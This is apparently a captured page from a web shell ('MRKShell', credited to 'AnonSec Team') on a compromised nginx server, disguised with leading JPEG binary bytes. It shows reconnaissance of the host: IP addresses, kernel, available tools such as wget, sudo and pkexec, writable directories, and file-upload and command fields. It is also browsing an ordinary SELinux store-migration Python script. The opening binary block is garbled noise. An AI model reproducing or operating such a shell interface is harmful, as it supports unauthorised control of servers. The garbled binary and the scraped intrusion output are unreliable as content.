JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 104.23.243.235
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/selinux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/libexec/selinux/semanage_migrate_store
#! /usr/libexec/platform-python -E


from __future__ import print_function
import os
import errno
import shutil
import sys
from optparse import OptionParser


try:
    import selinux
    import semanage
except ImportError:
    print("You must install libselinux-python and libsemanage-python before running this tool", file=sys.stderr)
    exit(1)


def copy_file(src, dst):
    if DEBUG:
        print("copying %s to %s" % (src, dst))
    try:
        shutil.copy(src, dst)
    except OSError as the_err:
        (err, strerr) = the_err.args
        print("Could not copy %s to %s, %s" % (src, dst, strerr), file=sys.stderr)
        exit(1)


def create_dir(dst, mode):
    if DEBUG:
        print("Making directory %s" % dst)
    try:
        os.makedirs(dst, mode)
    except OSError as the_err:
        (err, stderr) = the_err.args
        if err == errno.EEXIST:
            pass
        else:
            print("Error creating %s" % dst, file=sys.stderr)
            exit(1)


def create_file(dst):
    if DEBUG:
        print("Making file %s" % dst)
    try:
        open(dst, 'a').close()
    except OSError as the_err:
        (err, stderr) = the_err.args
        print("Error creating %s" % dst, file=sys.stderr)
        exit(1)


def copy_module(store, name, base):
    if DEBUG:
        print("Install module %s" % name)
    (file, ext) = os.path.splitext(name)
    if ext != ".pp":
        # Stray non-pp file in modules directory, skip
        print("warning: %s has invalid extension, skipping" % name, file=sys.stderr)
        return
    try:
        if base:
            root = oldstore_path(store)
        else:
            root = oldmodules_path(store)

        bottomdir = bottomdir_path(store)

        os.mkdir("%s/%s" % (bottomdir, file))

        copy_file(os.path.join(root, name), "%s/%s/hll" % (bottomdir, file))

        # This is the ext file that will eventually be used to choose a compiler
        efile = open("%s/%s/lang_ext" % (bottomdir, file), "w+", 0o600)
        efile.write("pp")
        efile.close()

    except (IOError, OSError):
        print("Error installing module %s" % name, file=sys.stderr)
        exit(1)


def disable_module(file, name, disabledmodules):
    if DEBUG:
        print("Disabling %s" % name)
    (disabledname, disabledext) = os.path.splitext(file)
    create_file("%s/%s" % (disabledmodules, disabledname))


def migrate_store(store):
    oldstore = oldstore_path(store)
    oldmodules = oldmodules_path(store)
    disabledmodules = disabledmodules_path(store)
    newstore = newstore_path(store)
    newmodules = newmodules_path(store)
    bottomdir = bottomdir_path(store)

    print("Migrating from %s to %s" % (oldstore, newstore))

    # Build up new directory structure
    create_dir("%s/%s" % (newroot_path(), store), 0o755)
    create_dir(newstore, 0o700)
    create_dir(newmodules, 0o700)
    create_dir(bottomdir, 0o700)
    create_dir(disabledmodules, 0o700)

    # Special case for base since it was in a different location
    copy_module(store, "base.pp", 1)

    # Dir structure built, start copying files
    for root, dirs, files in os.walk(oldstore):
        if root == oldstore:
            # This is the top level directory, need to move
            for name in files:
                # Check to see if it is in TOPPATHS and copy if so
                if name in TOPPATHS:
                    if name == "seusers":
                        newname = "seusers.local"
                    else:
                        newname = name
                    copy_file(os.path.join(root, name), os.path.join(newstore, newname))

        elif root == oldmodules:
            # This should be the modules directory
            for name in files:
                (file, ext) = os.path.splitext(name)
                if name == "base.pp":
                    print("Error installing module %s, name conflicts with base" % name, file=sys.stderr)
                    exit(1)
                elif ext == ".disabled":
                    disable_module(file, name, disabledmodules)
                else:
                    copy_module(store, name, 0)


def rebuild_policy():
    # Ok, the modules are loaded, lets try to rebuild the policy
    print("Attempting to rebuild policy from %s" % newroot_path())

    curstore = selinux.selinux_getpolicytype()[1]

    handle = semanage.semanage_handle_create()
    if not handle:
        print("Could not create semanage handle", file=sys.stderr)
        exit(1)

    semanage.semanage_select_store(handle, curstore, semanage.SEMANAGE_CON_DIRECT)

    if not semanage.semanage_is_managed(handle):
        semanage.semanage_handle_destroy(handle)
        print("SELinux policy is not managed or store cannot be accessed.", file=sys.stderr)
        exit(1)

    rc = semanage.semanage_access_check(handle)
    if rc < semanage.SEMANAGE_CAN_WRITE:
        semanage.semanage_handle_destroy(handle)
        print("Cannot write to policy store.", file=sys.stderr)
        exit(1)

    rc = semanage.semanage_connect(handle)
    if rc < 0:
        semanage.semanage_handle_destroy(handle)
        print("Could not establish semanage connection", file=sys.stderr)
        exit(1)

    semanage.semanage_set_rebuild(handle, 1)

    rc = semanage.semanage_begin_transaction(handle)
    if rc < 0:
        semanage.semanage_handle_destroy(handle)
        print("Could not begin transaction", file=sys.stderr)
        exit(1)

    rc = semanage.semanage_commit(handle)
    if rc < 0:
        print("Could not commit transaction", file=sys.stderr)

    semanage.semanage_handle_destroy(handle)


def oldroot_path():
    return "%s/etc/selinux" % ROOT


def oldstore_path(store):
    return "%s/%s/modules/active" % (oldroot_path(), store)


def oldmodules_path(store):
    return "%s/modules" % oldstore_path(store)


def disabledmodules_path(store):
    return "%s/disabled" % newmodules_path(store)


def newroot_path():
    return "%s%s" % (ROOT, PATH)


def newstore_path(store):
    return "%s/%s/active" % (newroot_path(), store)


def newmodules_path(store):
    return "%s/modules" % newstore_path(store)


def bottomdir_path(store):
    return "%s/%s" % (newmodules_path(store), PRIORITY)


if __name__ == "__main__":

    parser = OptionParser()
    parser.add_option("-p", "--priority", dest="priority", default="100",
                      help="Set priority of modules in new store (default: 100)")
    parser.add_option("-s", "--store", dest="store", default=None,
                      help="Store to read from and write to")
    parser.add_option("-d", "--debug", dest="debug", action="store_true", default=False,
                      help="Output debug information")
    parser.add_option("-c", "--clean", dest="clean", action="store_true", default=False,
                      help="Clean old modules directory after migrate (default: no)")
    parser.add_option("-n", "--norebuild", dest="norebuild", action="store_true", default=False,
                      help="Disable rebuilding policy after migration (default: no)")
    parser.add_option("-P", "--path", dest="path",
                      help="Set path for the policy store (default: /var/lib/selinux)")
    parser.add_option("-r", "--root", dest="root",
                      help="Set an alternative root for the migration (default: /)")

    (options, args) = parser.parse_args()

    DEBUG = options.debug
    PRIORITY = options.priority
    TYPE = options.store
    CLEAN = options.clean
    NOREBUILD = options.norebuild
    PATH = options.path
    if PATH is None:
        PATH = "/var/lib/selinux"

    ROOT = options.root
    if ROOT is None:
        ROOT = ""

    # List of paths that go in the active 'root'
    TOPPATHS = [
        "commit_num",
        "ports.local",
        "interfaces.local",
        "nodes.local",
        "booleans.local",
        "file_contexts.local",
        "seusers",
        "users.local",
        "users_extra",
        "users_extra.local",
        "disable_dontaudit",
        "preserve_tunables",
        "policy.kern",
        "file_contexts",
        "homedir_template",
        "pkeys.local",
        "ibendports.local"]

    create_dir(newroot_path(), 0o755)

    stores = None
    if TYPE is not None:
        stores = [TYPE]
    else:
        stores = os.listdir(oldroot_path())

    # find stores in oldroot and migrate them to newroot if necessary
    for store in stores:
        if not os.path.isdir(oldmodules_path(store)):
            # already migrated or not an selinux store
            continue

        if os.path.isdir(newstore_path(store)):
            # store has already been migrated, but old modules dir still exits
            print("warning: Policy type %s has already been migrated, but modules still exist in the old store. Skipping store." % store, file=sys.stderr)
            continue

        migrate_store(store)

        if CLEAN is True:
            def remove_error(function, path, execinfo):
                print("warning: Unable to remove old store modules directory %s. Cleaning failed." % oldmodules_path(store), file=sys.stderr)
            shutil.rmtree(oldmodules_path(store), onerror=remove_error)

    if NOREBUILD is False:
        rebuild_policy()

Anon7 - 2022
AnonSec Team